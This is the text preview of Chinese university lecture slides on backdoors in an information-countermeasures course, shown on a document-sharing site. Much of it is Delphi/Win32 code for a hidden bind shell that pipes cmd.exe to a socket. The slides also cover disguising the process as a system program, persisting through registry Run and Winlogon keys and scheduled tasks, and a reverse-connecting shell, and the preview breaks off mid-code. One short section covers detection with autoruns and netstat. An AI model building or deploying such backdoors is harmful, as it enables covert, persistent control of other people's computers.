资源预览内容
第1页 / 共123页
第2页 / 共123页
第3页 / 共123页
第4页 / 共123页
第5页 / 共123页
第6页 / 共123页
第7页 / 共123页
第8页 / 共123页
第9页 / 共123页
第10页 / 共123页
亲,该文档总共123页,到这儿已超出免费预览范围,如果喜欢就下载吧!
资源描述
信息对抗技术 韩宏 1 后门程序 2 当我们入侵到系统后 如何为自己未来的工作留下方便之门呢 最简单就是安装一个程序 可以方便自己随时访问该主机 形象的说 这就是一个 后门 3 后门的功能 关键是对系统的控制可以接受控制台方式的命令 就像一个telnet 可以远程控制GUI 比如监视对方的屏幕 控制对方的主机 4 最简单的后门 最简单的后门就是一个处于监听方式的网络服务程序 5 获得一个远程shell 为了获得远程shell 我们有两种方法 1 是每次收到client发送的命名后 调用命令解释器 再windows下我们调用Winexec或CreateProcess 构造一个进程 而该进程就是命令解释器 shell cmd exe 在unix linux下可以用system命令 CreateProcess nil PChar cmd c cmdline nil nil False 0 nil nil SI PI 6 比如执行dirc 命令就可以写成 CreateProcess nil PChar cmd cdirc nil nil False 0 nil nil SI PI 2 直接修改cmd exe的输入输出和错误输出管道 用命名管道替换他们 然后将网络接收到的字符串输入到管道 并从管道读出数据 而这些数据就是cmd的输出 7 构造一对管道BOOLCreatePipe PHANDLEhReadPipe addressofvariableforreadhandlePHANDLEhWritePipe addressofvariableforwritehandleLPSECURITY ATTRIBUTESlpPipeAttributes pointerto securityattributesDWORDnSize numberofbytesreservedforpipe 8 查询管道中是否有数据可读BOOLPeekNamedPipe HANDLEhNamedPipe handletopipetocopyfromLPVOIDlpBuffer pointertodatabufferDWORDnBufferSize size inbytes ofdatabufferLPDWORDlpBytesRead pointertonumberofbytesreadLPDWORDlpTotalBytesAvail pointertototalnumberof bytesavailableLPDWORDlpBytesLeftThisMessage pointertounreadbytes inthismessage 9 从管道中读取数据用ReadFileBOOLReadFile HANDLEhFile handleoffiletoreadLPVOIDlpBuffer addressofbufferthatreceivesdataDWORDnNumberOfBytesToRead numberofbytestoreadLPDWORDlpNumberOfBytesRead addressofnumberofbytesreadLPOVERLAPPEDlpOverlapped addressofstructurefordata 10 和cmd绑定的步骤 首先构造两对管道 一对替换标准输出和错误输出 一对替换标准输入然后用CreateProcess执行cmd exe然后通过正常的listen bind accept打开一个服务通过管道和socket收发数据 11 构造两对管道 一对替换标准输出和错误输出 一对替换标准输入 varRH1 WH1 RH2 WH2 THandle SI StartupInfoA begin ifnotCreatePipe RH1 WH1 SA 1024 thenraiseException Create wr FRH RH1 ifnotCreatePipe RH2 WH2 SA 1024 thenraiseException Create wr FWH WH2 GetStartupInfo Si si dwFlags STARTF USESHOWWINDOWorSTARTF USESTDHANDLES si wShowWindow SW HIDE Si hStdInput RH2 Si hStdOutput WH1 Si hStdError WH1 构造管道 替换标准输入 出 12 用CreateProcess执行cmd exe si dwFlags STARTF USESHOWWINDOWorSTARTF USESTDHANDLES si wShowWindow SW HIDE Si hStdInput RH2 Si hStdOutput WH1 Si hStdError WH1 CreateProcess nil cmd exe nil nil True CREATE DEFAULT ERROR MODE nil nil si Fpi 隐藏cmd的窗体界面 13 然后通过正常的listen bind accept打开一个服务 WSAStartup 0101 wsa listenFD socket AF INET SOCK STREAM IPPROTO TCP Server sin family AF INET Server sin port htons Port Server sin addr s addr INADDR ANY ret Bind listenFD Server Sizeof Server ifret0thenExit ret Listen listenFD SOMAXCONN ifret0thenExit iAddrSize Sizeof Server ClientFD Accept ListenFD Server iAddrSize 14 通过管道和socket收发数据 用PeekNamedPipe查询cmd是否有数据输出如果有则用ReadFile读出数据并通过socket发送给客户 注意输出可能一次读不完 因此要多读几次 更重要的是 两次读之间要休眠一会 因为可能数据还没有准备好 当输出数据传送完毕后 就recv接收socket的数据 如果有则通过写管道输入给cmd的标准输入 WriteFile 重要的是 也要休眠一会 再用PeekNamedPipe去查询是否有数据从cmd输出 15 ReadOutput ifnotPeekNamedPipe FRH FBuf 0 SizeOf FBuf N TN 0 thenbeginCloseSocket ClientFD Exit end DebugMsg afterPeek IntTostr N ifN 0thenbeginifnotReadFile FRH FBuf 0 N NRead nil thenbeginCloseSocket ClientFD Exit end DebugMsg afterreadfile IntTostr N Sum N Ptr PChar FBuf 0 whileSum 0dobeginNSent Send ClientFD Ptr Sum 0 Sum Sum NSent Ptr Ptr NSent end Sleep 100 letcmdprocesssendcharsleftgotoReadOutPut end FReadN Recv ClientFD FBuf SizeOf FBuf 0 DebugMsg afterrecv IntTostr FReadN WriteFile FWH FBuf FReadN N nil Sleep 100 letcmdprocessworkGotoReadOutput 16 完整代码在 code Backdoor svr客户端非常简单是一个典型的网络程序 代码在 code backdoor client大家可以尝试给通讯加解密 给程序添加口令认证 17 隐藏svr的窗体 我们可以在Delphi的窗体中加入一个timer 将触发时间设定为1ms 然后触发时调用Hide方法即可 这样server就被隐藏了 18 取一个好名字伪装 我们在进程列表中还是能看见我们的程序 为了增加迷惑性 我们将服务器程序的名字改的像系统程序 比如explore exe mslogger exe等等 那么比较容易迷惑一般的用户 当然最好这个进程在进程列表中根本看不见 这里 暂时不讨论 19 自动启动后门 每次计算机启动的时候 我们需要自动启动该后门程序 怎么办呢 在windows下 我们有如下办法 1在startup文件夹中2在win ini中比如run 后门程序全名 或load 后门程序全名 3在System ini中 有shell 这种用法4用注册表键值 20 注册表中有十几处键值可以自动启动程序比如 HKLM SOFTWARE Microsoft Windows CurrentVersion RunHKLM SOFTWARE Microsoft WindowsNT CurrentVersion Winlogon Userinit 21 我们还可以利用任务调度来自动调度我们的后门 22 加入设定自动启动的逻辑 我们用Delphi中一个TRegistry的类就可以很容易地书写注册表 23 反击 发现后门 我们分析前面的后门 可以总结目前我们了解的后门的两个特征 1 要打开监听端口 和外界通讯 2 需要自动启动 24 防御后门自动启动 我们通过工具检测系统中可能自动启动的地方 在windows下有一个免费工具叫autoruns 来自 25 防止后门的端口监听 通过获取当前被listen的端口 我们能发现一些异常的端口 通过netstat a n我们能列出当前的监听端口 用fport我们还能列出是哪个应用程序在监听端口 利用防火墙 我们只允许某些端口被监听 甚至是只能被某个程序监听 比如 用天网 26 自己用netstat作一个简单的监听端口分析程序 用Winexec CreateProcess打开netstat程序 将参数设定为 a n filename 这样将netstat的输出重定向到一个文件中 然后打开文件分析 凡是发现listen字符串 就将后面的端口取出 事先获得一个常用端口的列表 将netstat获得的端口和该列表比较 就可以发现一些异常的端口 27 生命总会有出路 后门的反击 不监听端口的后门 强制shell如果防火墙禁止我们打开端口 netstat又能发现监听端口 那我们就不打开 我们反过来 去连接 在被攻击方发起连接 connect 在攻击方打开监听端口 listen 28 后门连接攻击者打开的服务器 比如攻击者打开80端口的服务 当然后攻击者通过打开的连接将指令发送到服务端 后门将接收到的指令送入cmd 并将结果返回 这样 在被攻击的机器上就没有异常监听端口 Netcat就可非常容易做到这一点 29 自己实现强制命令行 可以发现 和前面监听端口方式的程序相差无几 除了是用connect方式连接 而不是listen bind accept 另外 有一小点不同 在PeekNamedPipe前加入了sleep代码 用于等待cmd的输出 完整代码请参考 code inverseBkdoor另外 本程序的客户端没有处理客户打开前服务端没有打开的情况 可以自行加入周期性connect服务端的代码 30 varToConnect sockaddr in Sum SendFD ret SvrSock Integer wsa TWSAData iAddrSize ClientFD NSent Integer N TN NRead Cardinal Ptr PChar labelReadOutput beginWSAStartup 0101 wsa SendFD socket AF INET SOCK ST
网站客服QQ:2055934822
金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号